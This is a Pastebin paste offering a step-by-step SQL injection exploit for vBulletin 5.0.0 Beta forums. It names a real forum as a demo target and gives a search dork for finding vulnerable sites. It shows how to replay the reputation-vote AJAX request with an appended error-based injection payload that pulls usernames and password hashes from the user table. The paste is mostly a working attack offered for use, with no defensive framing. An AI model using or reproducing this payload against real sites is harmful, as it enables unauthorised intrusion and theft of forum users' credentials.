SHARE
TWEET

vbx

a guest Feb 3rd, 2014 59 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day
  2.  
  3. #Category: web application
  4. #Type: SQL Injection
  5. #Requirements: Firefox/Live HTTP Headers/
  6. #Dork: Powered by vBulletin™ Version 5.0.0 Beta
  7.  
  8. (or) Use ur Brain you'll get more o_O
  9.  
  10.  
  11. Step 1
  12. Create an Account on vBulletin forum Verify the account and Activate it
  13.  
  14. For Demo we will use this Forum
  15. Link = http://www.prospectrush.com/new_forum/
  16. I have alredy made an account so i wil direct login
  17.  
  18.  
  19. Step 2
  20. go to/Open any topic and open Live HTTP Headers (https://addons.mozilla.org/en/firefox/addon/live-http-headers/) << download from here
  21. and then on the Topic page search for "Like" button and Clik on it ....
  22. then the Http responce would be caught on HTTP HEaders addon
  23.  
  24. Step 3
  25. Go to the first POST in HTTP Headers ,it will look like this
  26. POST *Something /ajax/api/reputation/vote HTTP/1.1
  27. select it and click on Replay button
  28.  
  29. Step 4
  30. Then go on Send POST Content and use below Query ,
  31. just add the Below Query after "noteid=somenumber"
  32. =======================
  33. SQL Query
  34.  
  35. ) and(select 1 from(select count(*),concat((select
  36.  
  37. (select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1) )
  38.  
  39. from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
  40.  
  41. =======================
  42.  
  43. The Above SQLi command will fetch out the first record from user table(username/password)
  44.  
  45. see the username and pass in encrypted get the salt to and decrypt it i wont show decrypting use your brain :)
  46.  
  47.  
  48. =============
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top